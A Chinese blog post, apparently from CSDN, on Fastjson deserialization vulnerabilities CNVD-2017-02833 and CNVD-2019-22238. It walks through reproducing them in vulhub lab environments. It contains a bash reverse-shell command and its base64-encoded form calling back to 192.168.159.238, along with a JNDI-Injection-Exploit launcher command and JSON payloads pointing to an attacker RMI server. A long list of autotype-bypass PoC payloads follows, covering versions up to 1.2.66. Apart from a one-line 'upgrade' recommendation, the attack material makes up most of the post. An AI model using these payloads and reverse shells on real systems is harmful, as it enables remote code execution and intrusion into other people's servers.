fastjson反序列化漏洞

本文详细介绍了Fastjson的两个重大安全漏洞CNVD_2017_02833和CNVD_2019_22238,包括漏洞原理、影响范围、漏洞复现步骤以及如何构造payload来触发这些漏洞。同时,文章还列举了不同版本的Fastjson漏洞POC,并提出了升级到最新版本作为主要的防范措施。
摘要由CSDN通过智能技术生成

# 漏洞名称: fastjson-cnvd_2017_02833

## 漏洞简介

* Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java对象。

* Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON字符串转换为 Java 对象 Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。

## 影响范围

* fastjson <= 1.2.24

## 漏洞复现

* 启动环境,这里使用的是vulhub中fastjson1.2.24-rce环境。

* 准备反弹shell命令:`bash -i /dev/tcp/192.168.159.238/1234`

* 将命令变为java命令执行的payload,可以借助网站:https://x.hacking8.com/java-runtime.html。

```

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4yMzgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

```

 

* 然后使用工具启动rmi服务器。可以借助工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。

```

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4yMzgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.159.238"    

```

 

* burp抓包,载入payload。注意改成post请求,修改Content-Type修改为json,dataSourceName为自己起的rmi服务器地址。

```

{

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.159.238:1099/tikcal",

        "autoCommit":true

    }

}

```

 

* 监听,接收到反弹shell

# 漏洞名称: fastjson-cnvd_2019_22238

## 影响范围

* fastjson <= 1.2.47

## 实验步骤

* 启动环境,这里使用的是vulhub中fastjson1.2.47-rce环境。

* 准备反弹shell命令:`bash -i /dev/tcp/192.168.159.238/1234`

* 将命令变为java命令执行的payload,可以借助网站:https://x.hacking8.com/java-runtime.html。

```

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4yMzgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

```

 

* 然后使用工具启动rmi服务器。可以借助工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。

```

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4yMzgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.159.238"    

```

 

* burp抓包,载入payload。注意改成post请求,修改Content-Type修改为json,dataSourceName为自己起的rmi服务器地址。

```

{

    "a":{

        "@type":"java.lang.Class",

        "val":"com.sun.rowset.JdbcRowSetImpl"

    },

    "b":{

        "@type":"com.sun.rowset.JdbcRowSetImpl",

        "dataSourceName":"rmi://192.168.159.238:1099/uiwmeo",

        "autoCommit":true

    }

}

```

 

* 监听,接收到反弹shell

 

## 其他fastjson版本poc如下:

fastjson<=1.2.24(CNVD-2017-02833)

{"v24":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.41

{"v41":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.42

{"v42":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}

fastjson<=1.2.43

{"v43":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://0.0.0.0","autoCommit":true]}}}

fastjson<=1.2.45

{"v45":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}}
{
"v45":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"},
"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://0.0.0.0"}}
}

fastjson<=1.2.47(CNVD-2019-22238)

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:1098/jndi", 
        "autoCommit": true
    }}
{
"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}
}

fastjson<=1.2.61

{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://127.0.0.1"}}
{"v61_error":{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://127.0.0.1","Object":"a"}}

fastjson<=1.2.62

{"aaaa":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";}
{"v62":{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://0.0.0.0"}}
{"v62_error":{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://0.0.0.0"}}}
{"v62_error":{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0"}}
{"v62_error":{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://0.0.0.0"},"namespace":""}}

fastjson<=1.2.66

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}
写文件覆盖方法
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://0.0.0.0"}{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://0.0.0.0"}

参考:https://www.icode9.com/content-4-1101546.html

## 漏洞防范

1. 升级到官方最新版本!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值